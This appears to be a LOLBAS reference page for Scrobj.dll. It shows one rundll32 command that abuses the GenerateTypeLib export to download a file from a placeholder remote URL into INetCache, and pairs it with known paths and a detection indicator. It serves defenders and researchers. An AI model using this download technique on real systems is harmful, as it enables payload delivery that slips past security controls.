LOLBAS. GitHub
LIVING OFF THE LAND / OS LIBRARIES

Scrobj.dll

View source

Windows Script Component Runtime

Download
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache.

COMMAND
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}
USE CASE
Download file from remote location.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

c:\windows\system32\scrobj.dll
c:\windows\syswow64\scrobj.dll
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Eral4m@eral4m